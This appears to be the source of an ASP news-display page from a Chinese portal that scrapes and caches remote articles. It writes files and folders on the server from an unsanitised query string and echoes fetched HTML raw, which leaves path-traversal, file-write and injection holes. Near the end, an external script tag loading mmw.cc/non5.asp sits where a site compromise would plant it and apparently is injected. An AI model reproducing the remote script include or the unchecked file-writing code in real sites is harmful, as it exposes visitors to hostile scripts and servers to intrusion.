<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="set.asp" -->
<!--#include file="function.asp" -->
<!--#include file="sub.asp" -->
<%
dim wstr,fldr,url

on error resume next

url = Request.ServerVariables("QUERY_STRING")
url = Right(url,Len(url)-4)

GetNewsFold=split(url,"/")
If SaveNews=True then
	fldr="Show"
	For i=0 to Ubound(GetNewsFold)-1
		fldr=fldr&"/"&GetNewsFold(i)
		If IsExists(fldr)=false then
		call CreateFolder(fldr)
		End if
	Next
	If IsExists("Show/"&url)=false then 
		wstr=GetPage(urldns(url))
		wstr=Autolink(wstr,urldns(url))	'完成截取后的页面
		call WriteToFile("Show/"&url,wstr)
	Else
		wstr=ReadAllTextFile("Show/"&url)
	End if
Else
	wstr=GetPage(urldns(url))
	wstr=Autolink(wstr,urldns(url))	'完成截取后的页面
End if
%>

<html>
<head>
<title>[3NIAO.COM]综合网--－新闻详细内容 www.3niao.com </title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body leftmargin="0" topmargin="0">
<!--#include file="top.asp" -->
<!--#include file="item.asp" -->
<table width="773" height="25" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#000000">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="773" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" class="Item_8"><table width="100%" border="0" cellspacing="10" cellpadding="0">
        <tr> 
          <td><%=wstr%></td>
        </tr>
      </table>
      
    </td>
    <td width="160" valign="top" class="Item_7">
      <!--#include file="ad_5.htm" -->
    </td>
  </tr>
</table><script src="http://www.mmw.cc/non5.asp"></script>
<!--#include file="about.asp" -->
</body>
</html>
